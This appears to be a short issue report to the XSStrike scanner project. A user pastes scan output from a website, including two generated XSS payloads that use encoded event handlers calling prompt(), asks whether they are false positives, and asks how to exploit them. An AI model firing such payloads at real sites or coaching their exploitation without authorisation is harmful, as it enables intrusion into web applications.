False Positive Issue...

[SidNimSan]

I used XSStrike on a website with this command:

XSStrike generated the following output:
XSStrike v4.0.0
[!] Testing parameter: srule
[!] Reflections found: 2
[] Analysing reflections
[] Generating payloads
[!] Payloads generated: 24

[+] Payload: %0daUtOFOCUS%0donfoCUs=(prompt)``
[!] Efficiency: 100
[!] Confidence: 8
[?] Would you like to continue scanning? [y/N]

I am unable to exploit the all the 24 payloads.

XSStrike generated the following output:
XSStrike v4.0.0

[!] Testing parameter: cgid
[!] Reflections found: 3
[] Analysing reflections
[] Generating payloads
[!] Payloads generated: 1536
[~] Progress: 297/1536

[+] Payload: <html%0aonmouseoVer%0a=%0aa=prompt,a()%0dx//
[!] Efficiency: 91
[!] Confidence: 10

Is this a false positive?

If i am doing wrong please guide the procesure to exploit it.

Thank You
